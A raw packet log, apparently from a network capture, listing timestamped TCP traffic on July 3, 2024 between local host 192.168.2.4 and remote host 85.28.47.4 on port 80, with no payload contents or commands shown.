Jul 3, 2024 23:59:08.434633970 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.434658051 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.434669971 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.434679031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.434696913 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.434720993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.435518980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.435549021 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.435563087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.435564995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.435584068 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.435595036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.435750008 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.435760975 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.435771942 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.435781956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.435791016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.435791969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.435821056 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.435862064 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.435900927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.435904980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.435918093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.435942888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.435951948 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.435988903 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.435998917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.436008930 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.436019897 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.436031103 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.436053991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.436074018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.439824104 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.439877033 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.439882040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.439893007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.439918995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.439930916 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.439949036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.439960003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.439970016 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.439982891 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.439991951 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.440013885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.440017939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.440056086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.440743923 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.440788984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.440793991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.440800905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.440824032 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.440840006 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.440866947 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.440879107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.440888882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.440900087 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.440905094 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.440929890 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.440953016 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.441046000 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.441056967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.441066980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.441077948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.441087961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.441090107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.441099882 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.441114902 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.441123009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.441149950 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.441154003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.441167116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.441174984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.441191912 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.441200018 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.441215992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.441301107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.441313028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.441323042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.441338062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.441345930 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.441349983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.441359997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.441366911 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.441396952 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.459831953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.460107088 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.523796082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.523809910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.523821115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.523865938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.523890972 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.523904085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.523916960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.523927927 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.523953915 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.523967981 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.523978949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524018049 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.524091959 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524104118 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524113894 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524125099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524132967 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.524137020 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524152994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.524178982 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.524241924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524254084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524264097 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524285078 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.524297953 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.524367094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524379015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524396896 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524406910 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524410009 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.524418116 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524425030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.524440050 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.524470091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.524580956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524593115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524604082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524611950 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524621964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.524622917 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524643898 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524650097 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.524656057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524668932 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524674892 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.524684906 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.524714947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.524827957 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524838924 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524851084 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524859905 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.524868011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.524878979 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.524902105 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.525484085 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.525531054 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.525532007 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.525542974 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.525576115 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.525580883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.525593996 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.525624037 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.525645018 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.525657892 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.525685072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.525697947 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.525721073 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.525732040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.525762081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.525799036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.525810003 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.525820017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.525830030 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.525839090 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.525867939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.525953054 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.525964022 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.525979042 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.525988102 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.525996923 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.526010036 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.526046991 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.527461052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.527498960 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.527502060 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.527509928 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.527534008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.527546883 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.527573109 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.527612925 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.527652979 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.527663946 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.527679920 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.527689934 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.527694941 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.527702093 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.527719975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.527745008 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.527832031 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.527842999 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.527853966 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.527864933 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.527873993 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.527877092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.527889967 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.527901888 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.527923107 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.527945995 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.528115034 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.528126001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.528136015 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.528146982 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.528157949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.528157949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.528171062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.528182983 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.528187990 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.528203011 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.528228045 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.528263092 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.528301001 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.528444052 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.528455019 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.528465033 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.528484106 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.528505087 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.528522968 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.528563976 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.528578997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.528592110 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.528616905 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.528625965 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.528640985 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.528652906 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.528680086 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.528692007 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.529472113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.529521942 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.529526949 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.529536963 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.529561996 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.529586077 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.529603004 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.529614925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.529625893 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.529643059 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.529650927 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.529654980 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.529686928 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.529697895 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.529719114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.529731035 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.529757023 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.529772043 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.529782057 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.529804945 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.529825926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.529831886 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.529841900 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.529865026 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.529877901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.529915094 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.529926062 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.529954910 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.533849001 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.533869028 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.533878088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.533936977 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.533946991 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.533957958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.534020901 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.534025908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.534037113 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.534046888 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.534075975 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.534091949 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.534693956 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.534746885 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.534750938 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.534759045 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.534790039 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.534822941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.534835100 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.534845114 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.534854889 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.534864902 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.534866095 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.534878969 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.534909964 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.534940958 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.534951925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.534961939 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.534981966 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.534995079 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.535038948 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.535051107 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.535060883 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.535072088 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.535075903 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.535103083 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.535104036 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.535144091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.535188913 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.535200119 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.535208941 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.535219908 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.535229921 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.535242081 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.535267115 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.535305023 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.535316944 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.535327911 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.535337925 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.535343885 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.535355091 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.535376072 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.617902040 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.617913961 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.617924929 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.617964029 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.617974997 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.617985964 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.617989063 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.618025064 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.618041992 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.618122101 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.618133068 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.618143082 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.618175030 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.618191004 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.618238926 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.618249893 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.618261099 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.618288994 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.618319988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.618319988 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.618376017 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.618386984 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.618396044 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.618407011 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.618417978 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.618423939 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.618448019 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.618470907 CEST	49730	80	192.168.2.4	85.28.47.4
Jul 3, 2024 23:59:08.618554115 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.618565083 CEST	80	49730	85.28.47.4	192.168.2.4
Jul 3, 2024 23:59:08.618580103 CEST	80	49730	85.28.47.4	192.168.2.4
